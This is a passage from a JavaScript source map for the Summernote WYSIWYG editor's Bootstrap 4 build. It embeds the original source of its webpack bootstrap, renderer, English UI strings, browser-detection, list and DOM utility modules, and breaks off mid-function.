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","file":"summernote-bs4.js","sourcesContent":["(function webpackUniversalModuleDefinition(root, factory) {\n\tif(typeof exports === 'object' && typeof module === 'object')\n\t\tmodule.exports = factory(require(\"jquery\"));\n\telse if(typeof define === 'function' && define.amd)\n\t\tdefine([\"jquery\"], factory);\n\telse {\n\t\tvar a = typeof exports === 'object' ? factory(require(\"jquery\")) : factory(root[\"jQuery\"]);\n\t\tfor(var i in a) (typeof exports === 'object' ? exports : root)[i] = a[i];\n\t}\n})(window, function(__WEBPACK_EXTERNAL_MODULE__0__) {\nreturn "," \t// The module cache\n \tvar installedModules = {};\n\n \t// The require function\n \tfunction __webpack_require__(moduleId) {\n\n \t\t// Check if module is in cache\n \t\tif(installedModules[moduleId]) {\n \t\t\treturn installedModules[moduleId].exports;\n \t\t}\n \t\t// Create a new module (and put it into the cache)\n \t\tvar module = installedModules[moduleId] = {\n \t\t\ti: moduleId,\n \t\t\tl: false,\n \t\t\texports: {}\n \t\t};\n\n \t\t// Execute the module function\n \t\tmodules[moduleId].call(module.exports, module, module.exports, __webpack_require__);\n\n \t\t// Flag the module as loaded\n \t\tmodule.l = true;\n\n \t\t// Return the exports of the module\n \t\treturn module.exports;\n \t}\n\n\n \t// expose the modules object (__webpack_modules__)\n \t__webpack_require__.m = modules;\n\n \t// expose the module cache\n \t__webpack_require__.c = installedModules;\n\n \t// define getter function for harmony exports\n \t__webpack_require__.d = function(exports, name, getter) {\n \t\tif(!__webpack_require__.o(exports, name)) {\n \t\t\tObject.defineProperty(exports, name, { enumerable: true, get: getter });\n \t\t}\n \t};\n\n \t// define __esModule on exports\n \t__webpack_require__.r = function(exports) {\n \t\tif(typeof Symbol !== 'undefined' && Symbol.toStringTag) {\n \t\t\tObject.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });\n \t\t}\n \t\tObject.defineProperty(exports, '__esModule', { value: true });\n \t};\n\n \t// create a fake namespace object\n \t// mode & 1: value is a module id, require it\n \t// mode & 2: merge all properties of value into the ns\n \t// mode & 4: return value when already ns object\n \t// mode & 8|1: behave like require\n \t__webpack_require__.t = function(value, mode) {\n \t\tif(mode & 1) value = __webpack_require__(value);\n \t\tif(mode & 8) return value;\n \t\tif((mode & 4) && typeof value === 'object' && value && value.__esModule) return value;\n \t\tvar ns = Object.create(null);\n \t\t__webpack_require__.r(ns);\n \t\tObject.defineProperty(ns, 'default', { enumerable: true, value: value });\n \t\tif(mode & 2 && typeof value != 'string') for(var key in value) __webpack_require__.d(ns, key, function(key) { return value[key]; }.bind(null, key));\n \t\treturn ns;\n \t};\n\n \t// getDefaultExport function for compatibility with non-harmony modules\n \t__webpack_require__.n = function(module) {\n \t\tvar getter = module && module.__esModule ?\n \t\t\tfunction getDefault() { return module['default']; } :\n \t\t\tfunction getModuleExports() { return module; };\n \t\t__webpack_require__.d(getter, 'a', getter);\n \t\treturn getter;\n \t};\n\n \t// Object.prototype.hasOwnProperty.call\n \t__webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };\n\n \t// __webpack_public_path__\n \t__webpack_require__.p = \"\";\n\n\n \t// Load entry module and return exports\n \treturn __webpack_require__(__webpack_require__.s = 53);\n","module.exports = __WEBPACK_EXTERNAL_MODULE__0__;","import $ from 'jquery';\n\nclass Renderer {\n constructor(markup, children, options, callback) {\n this.markup = markup;\n this.children = children;\n this.options = options;\n this.callback = callback;\n }\n\n render($parent) {\n const $node = $(this.markup);\n\n if (this.options && this.options.contents) {\n $node.html(this.options.contents);\n }\n\n if (this.options && this.options.className) {\n $node.addClass(this.options.className);\n }\n\n if (this.options && this.options.data) {\n $.each(this.options.data, (k, v) => {\n $node.attr('data-' + k, v);\n });\n }\n\n if (this.options && this.options.click) {\n $node.on('click', this.options.click);\n }\n\n if (this.children) {\n const $container = $node.find('.note-children-container');\n this.children.forEach((child) => {\n child.render($container.length ? $container : $node);\n });\n }\n\n if (this.callback) {\n this.callback($node, this.options);\n }\n\n if (this.options && this.options.callback) {\n this.options.callback($node);\n }\n\n if ($parent) {\n $parent.append($node);\n }\n\n return $node;\n }\n}\n\nexport default {\n create: (markup, callback) => {\n return function() {\n const options = typeof arguments[1] === 'object' ? arguments[1] : arguments[0];\n let children = Array.isArray(arguments[0]) ? arguments[0] : [];\n if (options && options.children) {\n children = options.children;\n }\n return new Renderer(markup, children, options, callback);\n };\n },\n};\n","/* globals __webpack_amd_options__ */\nmodule.exports = __webpack_amd_options__;\n","import $ from 'jquery';\n\n$.summernote = $.summernote || {\n lang: {},\n};\n\n$.extend($.summernote.lang, {\n 'en-US': {\n font: {\n bold: 'Bold',\n italic: 'Italic',\n underline: 'Underline',\n clear: 'Remove Font Style',\n height: 'Line Height',\n name: 'Font Family',\n strikethrough: 'Strikethrough',\n subscript: 'Subscript',\n superscript: 'Superscript',\n size: 'Font Size',\n sizeunit: 'Font Size Unit',\n },\n image: {\n image: 'Picture',\n insert: 'Insert Image',\n resizeFull: 'Resize full',\n resizeHalf: 'Resize half',\n resizeQuarter: 'Resize quarter',\n resizeNone: 'Original size',\n floatLeft: 'Float Left',\n floatRight: 'Float Right',\n floatNone: 'Remove float',\n shapeRounded: 'Shape: Rounded',\n shapeCircle: 'Shape: Circle',\n shapeThumbnail: 'Shape: Thumbnail',\n shapeNone: 'Shape: None',\n dragImageHere: 'Drag image or text here',\n dropImage: 'Drop image or Text',\n selectFromFiles: 'Select from files',\n maximumFileSize: 'Maximum file size',\n maximumFileSizeError: 'Maximum file size exceeded.',\n url: 'Image URL',\n remove: 'Remove Image',\n original: 'Original',\n },\n video: {\n video: 'Video',\n videoLink: 'Video Link',\n insert: 'Insert Video',\n url: 'Video URL',\n providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)',\n },\n link: {\n link: 'Link',\n insert: 'Insert Link',\n unlink: 'Unlink',\n edit: 'Edit',\n textToDisplay: 'Text to display',\n url: 'To what URL should this link go?',\n openInNewWindow: 'Open in new window',\n useProtocol: 'Use default protocol',\n },\n table: {\n table: 'Table',\n addRowAbove: 'Add row above',\n addRowBelow: 'Add row below',\n addColLeft: 'Add column left',\n addColRight: 'Add column right',\n delRow: 'Delete row',\n delCol: 'Delete column',\n delTable: 'Delete table',\n },\n hr: {\n insert: 'Insert Horizontal Rule',\n },\n style: {\n style: 'Style',\n p: 'Normal',\n blockquote: 'Quote',\n pre: 'Code',\n h1: 'Header 1',\n h2: 'Header 2',\n h3: 'Header 3',\n h4: 'Header 4',\n h5: 'Header 5',\n h6: 'Header 6',\n },\n lists: {\n unordered: 'Unordered list',\n ordered: 'Ordered list',\n },\n options: {\n help: 'Help',\n fullscreen: 'Full Screen',\n codeview: 'Code View',\n },\n paragraph: {\n paragraph: 'Paragraph',\n outdent: 'Outdent',\n indent: 'Indent',\n left: 'Align left',\n center: 'Align center',\n right: 'Align right',\n justify: 'Justify full',\n },\n color: {\n recent: 'Recent Color',\n more: 'More Color',\n background: 'Background Color',\n foreground: 'Text Color',\n transparent: 'Transparent',\n setTransparent: 'Set transparent',\n reset: 'Reset',\n resetToDefault: 'Reset to default',\n cpSelect: 'Select',\n },\n shortcut: {\n shortcuts: 'Keyboard shortcuts',\n close: 'Close',\n textFormatting: 'Text formatting',\n action: 'Action',\n paragraphFormatting: 'Paragraph formatting',\n documentStyle: 'Document Style',\n extraKeys: 'Extra keys',\n },\n help: {\n 'insertParagraph': 'Insert Paragraph',\n 'undo': 'Undoes the last command',\n 'redo': 'Redoes the last command',\n 'tab': 'Tab',\n 'untab': 'Untab',\n 'bold': 'Set a bold style',\n 'italic': 'Set a italic style',\n 'underline': 'Set a underline style',\n 'strikethrough': 'Set a strikethrough style',\n 'removeFormat': 'Clean a style',\n 'justifyLeft': 'Set left align',\n 'justifyCenter': 'Set center align',\n 'justifyRight': 'Set right align',\n 'justifyFull': 'Set full align',\n 'insertUnorderedList': 'Toggle unordered list',\n 'insertOrderedList': 'Toggle ordered list',\n 'outdent': 'Outdent on current paragraph',\n 'indent': 'Indent on current paragraph',\n 'formatPara': 'Change current block\\'s format as a paragraph(P tag)',\n 'formatH1': 'Change current block\\'s format as H1',\n 'formatH2': 'Change current block\\'s format as H2',\n 'formatH3': 'Change current block\\'s format as H3',\n 'formatH4': 'Change current block\\'s format as H4',\n 'formatH5': 'Change current block\\'s format as H5',\n 'formatH6': 'Change current block\\'s format as H6',\n 'insertHorizontalRule': 'Insert horizontal rule',\n 'linkDialog.show': 'Show Link Dialog',\n },\n history: {\n undo: 'Undo',\n redo: 'Redo',\n },\n specialChar: {\n specialChar: 'SPECIAL CHARACTERS',\n select: 'Select Special characters',\n },\n output: {\n noSelection: 'No Selection Made!',\n },\n },\n});\n","import $ from 'jquery';\nconst isSupportAmd = typeof define === 'function' && define.amd; // eslint-disable-line\n\n/**\n * returns whether font is installed or not.\n *\n * @param {String} fontName\n * @return {Boolean}\n */\nconst genericFontFamilies = ['sans-serif', 'serif', 'monospace', 'cursive', 'fantasy'];\n\nfunction validFontName(fontName) {\n return ($.inArray(fontName.toLowerCase(), genericFontFamilies) === -1) ? `'${fontName}'` : fontName;\n}\n\nfunction isFontInstalled(fontName) {\n const testFontName = fontName === 'Comic Sans MS' ? 'Courier New' : 'Comic Sans MS';\n const testText = 'mmmmmmmmmmwwwww';\n const testSize = '200px';\n\n var canvas = document.createElement('canvas');\n var context = canvas.getContext('2d');\n\n context.font = testSize + \" '\" + testFontName + \"'\";\n const originalWidth = context.measureText(testText).width;\n\n context.font = testSize + ' ' + validFontName(fontName) + ', \"' + testFontName + '\"';\n const width = context.measureText(testText).width;\n\n return originalWidth !== width;\n}\n\nconst userAgent = navigator.userAgent;\nconst isMSIE = /MSIE|Trident/i.test(userAgent);\nlet browserVersion;\nif (isMSIE) {\n let matches = /MSIE (\\d+[.]\\d+)/.exec(userAgent);\n if (matches) {\n browserVersion = parseFloat(matches[1]);\n }\n matches = /Trident\\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(userAgent);\n if (matches) {\n browserVersion = parseFloat(matches[1]);\n }\n}\n\nconst isEdge = /Edge\\/\\d+/.test(userAgent);\n\nlet hasCodeMirror = !!window.CodeMirror;\n\nconst isSupportTouch =\n (('ontouchstart' in window) ||\n (navigator.MaxTouchPoints > 0) ||\n (navigator.msMaxTouchPoints > 0));\n\n// [workaround] IE doesn't have input events for contentEditable\n// - see: https://goo.gl/4bfIvA\nconst inputEventName = (isMSIE) ? 'DOMCharacterDataModified DOMSubtreeModified DOMNodeInserted' : 'input';\n\n/**\n * @class core.env\n *\n * Object which check platform and agent\n *\n * @singleton\n * @alternateClassName env\n */\nexport default {\n isMac: navigator.appVersion.indexOf('Mac') > -1,\n isMSIE,\n isEdge,\n isFF: !isEdge && /firefox/i.test(userAgent),\n isPhantom: /PhantomJS/i.test(userAgent),\n isWebkit: !isEdge && /webkit/i.test(userAgent),\n isChrome: !isEdge && /chrome/i.test(userAgent),\n isSafari: !isEdge && /safari/i.test(userAgent) && (!/chrome/i.test(userAgent)),\n browserVersion,\n jqueryVersion: parseFloat($.fn.jquery),\n isSupportAmd,\n isSupportTouch,\n hasCodeMirror,\n isFontInstalled,\n isW3CRangeSupport: !!document.createRange,\n inputEventName,\n genericFontFamilies,\n validFontName,\n};\n","import $ from 'jquery';\n\n/**\n * @class core.func\n *\n * func utils (for high-order func's arg)\n *\n * @singleton\n * @alternateClassName func\n */\nfunction eq(itemA) {\n return function(itemB) {\n return itemA === itemB;\n };\n}\n\nfunction eq2(itemA, itemB) {\n return itemA === itemB;\n}\n\nfunction peq2(propName) {\n return function(itemA, itemB) {\n return itemA[propName] === itemB[propName];\n };\n}\n\nfunction ok() {\n return true;\n}\n\nfunction fail() {\n return false;\n}\n\nfunction not(f) {\n return function() {\n return !f.apply(f, arguments);\n };\n}\n\nfunction and(fA, fB) {\n return function(item) {\n return fA(item) && fB(item);\n };\n}\n\nfunction self(a) {\n return a;\n}\n\nfunction invoke(obj, method) {\n return function() {\n return obj[method].apply(obj, arguments);\n };\n}\n\nlet idCounter = 0;\n\n/**\n * reset globally-unique id\n *\n */\nfunction resetUniqueId() {\n idCounter = 0;\n}\n\n/**\n * generate a globally-unique id\n *\n * @param {String} [prefix]\n */\nfunction uniqueId(prefix) {\n const id = ++idCounter + '';\n return prefix ? prefix + id : id;\n}\n\n/**\n * returns bnd (bounds) from rect\n *\n * - IE Compatibility Issue: http://goo.gl/sRLOAo\n * - Scroll Issue: http://goo.gl/sNjUc\n *\n * @param {Rect} rect\n * @return {Object} bounds\n * @return {Number} bounds.top\n * @return {Number} bounds.left\n * @return {Number} bounds.width\n * @return {Number} bounds.height\n */\nfunction rect2bnd(rect) {\n const $document = $(document);\n return {\n top: rect.top + $document.scrollTop(),\n left: rect.left + $document.scrollLeft(),\n width: rect.right - rect.left,\n height: rect.bottom - rect.top,\n };\n}\n\n/**\n * returns a copy of the object where the keys have become the values and the values the keys.\n * @param {Object} obj\n * @return {Object}\n */\nfunction invertObject(obj) {\n const inverted = {};\n for (const key in obj) {\n if (Object.prototype.hasOwnProperty.call(obj, key)) {\n inverted[obj[key]] = key;\n }\n }\n return inverted;\n}\n\n/**\n * @param {String} namespace\n * @param {String} [prefix]\n * @return {String}\n */\nfunction namespaceToCamel(namespace, prefix) {\n prefix = prefix || '';\n return prefix + namespace.split('.').map(function(name) {\n return name.substring(0, 1).toUpperCase() + name.substring(1);\n }).join('');\n}\n\n/**\n * Returns a function, that, as long as it continues to be invoked, will not\n * be triggered. The function will be called after it stops being called for\n * N milliseconds. If `immediate` is passed, trigger the function on the\n * leading edge, instead of the trailing.\n * @param {Function} func\n * @param {Number} wait\n * @param {Boolean} immediate\n * @return {Function}\n */\nfunction debounce(func, wait, immediate) {\n let timeout;\n return function() {\n const context = this;\n const args = arguments;\n const later = () => {\n timeout = null;\n if (!immediate) {\n func.apply(context, args);\n }\n };\n const callNow = immediate && !timeout;\n clearTimeout(timeout);\n timeout = setTimeout(later, wait);\n if (callNow) {\n func.apply(context, args);\n }\n };\n}\n\n/**\n *\n * @param {String} url\n * @return {Boolean}\n */\nfunction isValidUrl(url) {\n const expression = /[-a-zA-Z0-9@:%._\\+~#=]{2,256}\\.[a-z]{2,6}\\b([-a-zA-Z0-9@:%_\\+.~#?&//=]*)/gi;\n return expression.test(url);\n}\n\nexport default {\n eq,\n eq2,\n peq2,\n ok,\n fail,\n self,\n not,\n and,\n invoke,\n resetUniqueId,\n uniqueId,\n rect2bnd,\n invertObject,\n namespaceToCamel,\n debounce,\n isValidUrl,\n};\n","import func from './func';\n\n/**\n * returns the first item of an array.\n *\n * @param {Array} array\n */\nfunction head(array) {\n return array[0];\n}\n\n/**\n * returns the last item of an array.\n *\n * @param {Array} array\n */\nfunction last(array) {\n return array[array.length - 1];\n}\n\n/**\n * returns everything but the last entry of the array.\n *\n * @param {Array} array\n */\nfunction initial(array) {\n return array.slice(0, array.length - 1);\n}\n\n/**\n * returns the rest of the items in an array.\n *\n * @param {Array} array\n */\nfunction tail(array) {\n return array.slice(1);\n}\n\n/**\n * returns item of array\n */\nfunction find(array, pred) {\n for (let idx = 0, len = array.length; idx < len; idx++) {\n const item = array[idx];\n if (pred(item)) {\n return item;\n }\n }\n}\n\n/**\n * returns true if all of the values in the array pass the predicate truth test.\n */\nfunction all(array, pred) {\n for (let idx = 0, len = array.length; idx < len; idx++) {\n if (!pred(array[idx])) {\n return false;\n }\n }\n return true;\n}\n\n/**\n * returns true if the value is present in the list.\n */\nfunction contains(array, item) {\n if (array && array.length && item) {\n if (array.indexOf) {\n return array.indexOf(item) !== -1;\n } else if (array.contains) {\n // `DOMTokenList` doesn't implement `.indexOf`, but it implements `.contains`\n return array.contains(item);\n }\n }\n return false;\n}\n\n/**\n * get sum from a list\n *\n * @param {Array} array - array\n * @param {Function} fn - iterator\n */\nfunction sum(array, fn) {\n fn = fn || func.self;\n return array.reduce(function(memo, v) {\n return memo + fn(v);\n }, 0);\n}\n\n/**\n * returns a copy of the collection with array type.\n * @param {Collection} collection - collection eg) node.childNodes, ...\n */\nfunction from(collection) {\n const result = [];\n const length = collection.length;\n let idx = -1;\n while (++idx < length) {\n result[idx] = collection[idx];\n }\n return result;\n}\n\n/**\n * returns whether list is empty or not\n */\nfunction isEmpty(array) {\n return !array || !array.length;\n}\n\n/**\n * cluster elements by predicate function.\n *\n * @param {Array} array - array\n * @param {Function} fn - predicate function for cluster rule\n * @param {Array[]}\n */\nfunction clusterBy(array, fn) {\n if (!array.length) { return []; }\n const aTail = tail(array);\n return aTail.reduce(function(memo, v) {\n const aLast = last(memo);\n if (fn(last(aLast), v)) {\n aLast[aLast.length] = v;\n } else {\n memo[memo.length] = [v];\n }\n return memo;\n }, [[head(array)]]);\n}\n\n/**\n * returns a copy of the array with all false values removed\n *\n * @param {Array} array - array\n * @param {Function} fn - predicate function for cluster rule\n */\nfunction compact(array) {\n const aResult = [];\n for (let idx = 0, len = array.length; idx < len; idx++) {\n if (array[idx]) { aResult.push(array[idx]); }\n }\n return aResult;\n}\n\n/**\n * produces a duplicate-free version of the array\n *\n * @param {Array} array\n */\nfunction unique(array) {\n const results = [];\n\n for (let idx = 0, len = array.length; idx < len; idx++) {\n if (!contains(results, array[idx])) {\n results.push(array[idx]);\n }\n }\n\n return results;\n}\n\n/**\n * returns next item.\n * @param {Array} array\n */\nfunction next(array, item) {\n if (array && array.length && item) {\n const idx = array.indexOf(item);\n return idx === -1 ? null : array[idx + 1];\n }\n return null;\n}\n\n/**\n * returns prev item.\n * @param {Array} array\n */\nfunction prev(array, item) {\n if (array && array.length && item) {\n const idx = array.indexOf(item);\n return idx === -1 ? null : array[idx - 1];\n }\n return null;\n}\n\n/**\n * @class core.list\n *\n * list utils\n *\n * @singleton\n * @alternateClassName list\n */\nexport default {\n head,\n last,\n initial,\n tail,\n prev,\n next,\n find,\n contains,\n all,\n sum,\n from,\n isEmpty,\n clusterBy,\n compact,\n unique,\n};\n","import $ from 'jquery';\nimport func from './func';\nimport lists from './lists';\nimport env from './env';\n\nconst NBSP_CHAR = String.fromCharCode(160);\nconst ZERO_WIDTH_NBSP_CHAR = '\\ufeff';\n\n/**\n * @method isEditable\n *\n * returns whether node is `note-editable` or not.\n *\n * @param {Node} node\n * @return {Boolean}\n */\nfunction isEditable(node) {\n return node && $(node).hasClass('note-editable');\n}\n\n/**\n * @method isControlSizing\n *\n * returns whether node is `note-control-sizing` or not.\n *\n * @param {Node} node\n * @return {Boolean}\n */\nfunction isControlSizing(node) {\n return node && $(node).hasClass('note-control-sizing');\n}\n\n/**\n * @method makePredByNodeName\n *\n * returns predicate which judge whether nodeName is same\n *\n * @param {String} nodeName\n * @return {Function}\n */\nfunction makePredByNodeName(nodeName) {\n nodeName = nodeName.toUpperCase();\n return function(node) {\n return node && node.nodeName.toUpperCase() === nodeName;\n };\n}\n\n/**\n * @method isText\n *\n *\n *\n * @param {Node} node\n * @return {Boolean} true if node's type is text(3)\n */\nfunction isText(node) {\n return node && node.nodeType === 3;\n}\n\n/**\n * @method isElement\n *\n *\n *\n * @param {Node} node\n * @return {Boolean} true if node's type is element(1)\n */\nfunction isElement(node) {\n return node && node.nodeType === 1;\n}\n\n/**\n * ex) br, col, embed, hr, img, input, ...\n * @see http://www.w3.org/html/wg/drafts/html/master/syntax.html#void-elements\n */\nfunction isVoid(node) {\n return node && /^BR|^IMG|^HR|^IFRAME|^BUTTON|^INPUT|^AUDIO|^VIDEO|^EMBED/.test(node.nodeName.toUpperCase());\n}\n\nfunction isPara(node) {\n if (isEditable(node)) {\n return false;\n }\n\n // Chrome(v31.0), FF(v25.0.1) use DIV for paragraph\n return node && /^DIV|^P|^LI|^H[1-7]/.test(node.nodeName.toUpperCase());\n}\n\nfunction isHeading(node) {\n return node && /^H[1-7]/.test(node.nodeName.toUpperCase());\n}\n\nconst isPre = makePredByNodeName('PRE');\n\nconst isLi = makePredByNodeName('LI');\n\nfunction isPurePara(node) {\n return isPara(node) && !isLi(node);\n}\n\nconst isTable = makePredByNodeName('TABLE');\n\nconst isData = makePredByNodeName('DATA');\n\nfunction isInline(node) {\n return !isBodyContainer(node) &&\n !isList(node) &&\n !isHr(node) &&\n !isPara(node) &&\n !isTable(node) &&\n !isBlockquote(node) &&\n !isData(node);\n}\n\nfunction isList(node) {\n return node && /^UL|^OL/.test(node.nodeName.toUpperCase());\n}\n\nconst isHr = makePredByNodeName('HR');\n\nfunction isCell(node) {\n return node && /^TD|^TH/.test(node.nodeName.toUpperCase());\n}\n\nconst isBlockquote = makePredByNodeName('BLOCKQUOTE');\n\nfunction isBodyContainer(node) {\n return isCell(node) || isBlockquote(node) || isEditable(node);\n}\n\nconst isAnchor = makePredByNodeName('A');\n\nfunction isParaInline(node) {\n return isInline(node) && !!ancestor(node, isPara);\n}\n\nfunction isBodyInline(node) {\n return isInline(node) && !ancestor(node, isPara);\n}\n\nconst isBody = makePredByNodeName('BODY');\n\n/**\n * returns whether nodeB is closest sibling of nodeA\n *\n * @param {Node} nodeA\n * @param {Node} nodeB\n * @return {Boolean}\n */\nfunction isClosestSibling(nodeA, nodeB) {\n return nodeA.nextSibling === nodeB ||\n nodeA.previousSibling === nodeB;\n}\n\n/**\n * returns array of closest siblings with node\n *\n * @param {Node} node\n * @param {function} [pred] - predicate function\n * @return {Node[]}\n */\nfunction withClosestSiblings(node, pred) {\n pred = pred || func.ok;\n\n const siblings = [];\n if (node.previousSibling && pred(node.previousSibling)) {\n siblings.push(node.previousSibling);\n }\n siblings.push(node);\n if (node.nextSibling && pred(node.nextSibling)) {\n siblings.push(node.nextSibling);\n }\n return siblings;\n}\n\n/**\n * blank HTML for cursor position\n * - [workaround] old IE only works with  \n * - [workaround] IE11 and other browser works with bogus br\n */\nconst blankHTML = env.isMSIE && env.browserVersion < 11 ? ' ' : '
    ';\n\n/**\n * @method nodeLength\n *\n * returns #text's text size or element's childNodes size\n *\n * @param {Node} node\n */\nfunction nodeLength(node) {\n if (isText(node)) {\n return node.nodeValue.length;\n }\n\n if (node) {\n return node.childNodes.length;\n }\n\n return 0;\n}\n\n/**\n * returns whether deepest child node is empty or not.\n *\n * @param {Node} node\n * @return {Boolean}\n */\nfunction deepestChildIsEmpty(node) {\n do {\n if (node.firstElementChild === null || node.firstElementChild.innerHTML === '') break;\n } while ((node = node.firstElementChild));\n\n return isEmpty(node);\n}\n\n/**\n * returns whether node is empty or not.\n *\n * @param {Node} node\n * @return {Boolean}\n */\nfunction isEmpty(node) {\n const len = nodeLength(node);\n\n if (len === 0) {\n return true;\n } else if (!isText(node) && len === 1 && node.innerHTML === blankHTML) {\n // ex)


    ,
    \n return true;\n } else if (lists.all(node.childNodes, isText) && node.innerHTML === '') {\n // ex)

    , \n return true;\n }\n\n return false;\n}\n\n/**\n * padding blankHTML if node is empty (for cursor position)\n */\nfunction paddingBlankHTML(node) {\n if (!isVoid(node) && !nodeLength(node)) {\n node.innerHTML = blankHTML;\n }\n}\n\n/**\n * find nearest ancestor predicate hit\n *\n * @param {Node} node\n * @param {Function} pred - predicate function\n */\nfunction ancestor(node, pred) {\n while (node) {\n if (pred(node)) { return node; }\n if (isEditable(node)) { break; }\n\n node = node.parentNode;\n }\n return null;\n}\n\n/**\n * find nearest ancestor only single child blood line and predicate hit\n *\n * @param {Node} node\n * @param {Function} pred - predicate function\n */\nfunction singleChildAncestor(node, pred) {\n node = node.parentNode;\n\n while (node) {\n if (nodeLength(node) !== 1) { break; }\n if (pred(node)) { return node; }\n if (isEditable(node)) { break; }\n\n node = node.parentNode;\n }\n return null;\n}\n\n/**\n * returns new array of ancestor nodes (until predicate hit).\n *\n * @param {Node} node\n * @param {Function} [optional] pred - predicate function\n */\nfunction listAncestor(node, pred) {\n pred = pred || func.fail;\n\n const ancestors = [];\n ancestor(node, function(el) {\n if (!isEditable(el)) {\n ancestors.push(el);\n }\n\n return pred(el);\n });\n return ancestors;\n}\n\n/**\n * find farthest ancestor predicate hit\n */\nfunction lastAncestor(node, pred) {\n const ancestors = listAncestor(node);\n return lists.last(ancestors.filter(pred));\n}\n\n/**\n * returns common ancestor node between two nodes.\n *\n * @param {Node} nodeA\n * @param {Node} nodeB\n */\nfunction commonAncestor(nodeA, nodeB) {\n const ancestors = listAncestor(nodeA);\n for (let n = 